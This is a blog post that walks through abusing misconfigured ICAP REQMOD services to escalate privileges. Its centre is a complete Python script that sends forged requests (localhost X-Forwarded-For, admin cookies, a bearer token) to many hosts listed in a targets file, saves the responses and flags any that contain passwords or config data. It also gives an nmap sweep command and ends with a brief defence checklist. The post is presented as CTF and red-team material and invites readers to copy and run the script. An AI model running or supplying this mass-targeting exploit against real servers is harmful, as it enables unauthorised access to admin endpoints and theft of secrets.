Exploiting ICAP REQMOD for Privilege Escalation: A Hands-On Guide
Posted by: CyberSec Labs
Tags: #Security #CTF #ICAP #Exploitation #Python #WebSecurity #RedTeaming
Have you ever come across ICAP (Internet Content Adaptation Protocol) in a CTF challenge or internal penetration test? While often overlooked, misconfigured ICAP services can be a goldmine for attackers — especially when they blindly trust modified requests.
In this post, we’ll walk through how to:
- Analyze a suspicious ICAP
REQMODrequest - Identify privilege escalation vectors
- Write a custom Python exploit
- Scale it using a list of vulnerable hosts (
targets.txt) - And potentially gain access to admin endpoints like
/admin/config
Let’s dive in.
π§© What Is ICAP?
ICAP (Internet Content Adaptation Protocol) is used primarily by proxy servers (like Squid) to offload content filtering, virus scanning, or modification tasks to external services.
Two main operations:
- REQMOD: Modify incoming HTTP requests
- RESPMOD: Modify outgoing HTTP responses
If improperly secured, these endpoints can be abused to inject privileged headers, bypass access controls, or even lead to SSRF and RCE.
⚠️ The Vulnerable Request
Here’s an example REQMOD request captured during a CTF:
REQMOD icap://127.0.0.1:1344/reqmod ICAP/1.0 Host: 127.0.0.1:1344 User-Agent: CTF-Test-Client Allow: 204 Encapsulated: req-hdr=0, null-body=177 GET /admin/config HTTP/1.1 Host: target-server.com User-Agent: Mozilla/5.0 Authorization: Bearer malicious-token X-Forwarded-For: 127.0.0.1 Cookie: admin=true; privileged=1
At first glance, this looks like normal traffic. But look closer:
π Red Flags:
X-Forwarded-For: 127.0.0.1→ Could bypass IP-based allowlistsCookie: admin=true; privileged=1→ Manually set privilege flags- Accessing
/admin/config→ Sensitive endpoint - Running on port 1344, the default ICAP port
π This suggests the backend server may trust requests processed by the ICAP service, making it possible to escalate privileges simply by injecting forged headers.
π£ Attack Vectors Identified
| Vector | Risk |
|---|---|
| Privilege Escalation | High – Forged cookies grant admin access |
| SSRF via Internal Proxy Chain | Medium – Can probe internal services |
| Header Injection / Smuggling | Medium – Parser quirks may exist |
| Command Injection | Low but possible – If backend runs unsafe commands |
Our best bet? Abuse trust in the ICAP flow to make the backend believe the request came from localhost with admin rights.
π ️ Building the Exploit: Python Script
We wrote a Python script that automates sending malicious REQMOD requests to multiple ICAP servers.
But instead of hardcoding targets, we pull them from a file called targets.txt, allowing scalable testing across networks.
✅ Features:
- Reads
IP:PORTpairs fromtargets.txt - Sends crafted
REQMODwith forged admin headers - Saves responses to individual log files
- Detects potential success indicators (e.g., flags, 200 OK, config dumps)
π Full Python Exploit Code
Copy and run this script to launch your attack:
#!/usr/bin/env python3 import socket import sys import os from datetime import datetime # ============ CONFIGURATION ============= TARGETS_FILE = "targets.txt" ICAP_SERVICE = "/reqmod" TIMEOUT = 10 OUTPUT_DIR = "results" if not os.path.exists(OUTPUT_DIR): os.makedirs(OUTPUT_DIR) HTTP_REQUEST = """\\ GET /admin/config HTTP/1.1 Host: target-server.com User-Agent: Mozilla/5.0 Authorization: Bearer malicious-token X-Forwarded-For: 127.0.0.1 Cookie: admin=true; privileged=1 Connection: close """ REQHDR_OFFSET = 0 NULL_BODY_OFFSET = len(HTTP_REQUEST) def build_icap_request(ip, port): icap_request = f"""\\ REQMOD icap://{ip}:{port}{ICAP_SERVICE} ICAP/1.0\\r Host: {ip}:{port}\\r User-Agent: CTF-Test-Client\\r Allow: 204\\r Encapsulated: req-hdr={REQHDR_OFFSET}, null-body={NULL_BODY_OFFSET}\\r \\r {HTTP_REQUEST} """.replace("\n", "\r\n") return icap_request.encode('utf-8') def send_to_target(ip, port): print(f"[→] Testing target: {ip}:{port}") request = build_icap_request(ip, port) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(TIMEOUT) sock.connect((ip, int(port))) sock.send(request) response = b"" while True: chunk = sock.recv(4096) if not chunk: break response += chunk sock.close() response_text = response.decode('utf-8', errors='replace') outfile = os.path.join(OUTPUT_DIR, f"{ip}_{port}.txt") with open(outfile, 'w') as f: f.write(f"# ICAP Response for {ip}:{port}\n") f.write(f"# Timestamp: {datetime.now()}\n\n") f.write(response_text) lower_resp = response_text.lower() if 'admin' in lower_resp or 'flag{' in lower_resp or 'password' in lower_resp or '200' in response_text.splitlines()[0]: print(f"[✅] SUCCESS on {ip}:{port} — Possible sensitive data found!") else: print(f"[✔] Got response from {ip}:{port}, but no obvious success.") except Exception as e: print(f"[❌] Failed {ip}:{port} — {e}") def load_targets(): try: with open(TARGETS_FILE, 'r') as f: lines = [line.strip() for line in f.readlines() if line.strip() and not line.startswith('#')] targets = [] for line in lines: try: ip, port = line.split(':') targets.append((ip.strip(), port.strip())) except ValueError: print(f"[⚠️] Invalid line in targets.txt: {line}") return targets except FileNotFoundError: print(f"[❌] {TARGETS_FILE} not found!") sys.exit(1) if __name__ == "__main__": targets = load_targets() if not targets: print("[❌] No valid targets loaded.") sys.exit(1) print(f"[+] Loaded {len(targets)} target(s) from {TARGETS_FILE}") print(f"[π] Attempting REQMOD exploit...\n") for ip, port in targets: send_to_target(ip, port) print(f"\n[π] Exploitation complete. Responses saved in './{OUTPUT_DIR}/'")
π Example targets.txt
Create this file in the same directory:
# Internal ICAP servers 192.168.1.10:1344 192.168.1.20:1344 10.0.0.5:1344
π‘ Tip: Use Nmap to scan for open port 1344:
nmap -p 1344 192.168.1.0/24
π Output & Detection
Each successful (or failed) attempt is logged under the results/ folder:
results/ ├── 192.168.1.10_1344.txt ├── 192.168.1.20_1344.txt └── 10.0.0.5_1344.txt
Look for:
- HTTP 200 responses
- JSON config dumps
- Strings like
"db_password","api_key", orflag{...}
You might just find the crown jewels!
π‘️ How to Defend Against This
If you're running ICAP services, here’s how to stay safe:
- Never trust headers added by ICAP without validation.
- Filter or sanitize injected fields like
X-Forwarded-For, cookies, and authorization tokens. - Restrict access to ICAP ports (1344/TCP) via firewalls.
- Disable unnecessary ICAP services in production.
- Log and monitor unusual
REQMODactivity.
Trust, but verify — especially at the proxy layer.
π Conclusion
ICAP may seem obscure, but in environments where proxies enforce security policies, a vulnerable ICAP server can become a backdoor to privilege escalation.
By understanding how REQMOD works and crafting targeted exploits, red teamers and CTF players can bypass authentication, extract configs, and move laterally.
π§ Key Takeaways:
- Always inspect encapsulated HTTP content in ICAP flows
- Test for trust assumptions in downstream systems
- Automate exploitation with scripts like the one above
π’ Feedback & Contributions
Found a new ICAP exploit vector? Modified the script for async support or OOB detection?
Share your thoughts in the comments below!
And don’t forget to:
π Like this post
π Share it with fellow hackers
π Subscribe for more deep dives into obscure protocols
Happy hacking! π₯
— CyberSec Labs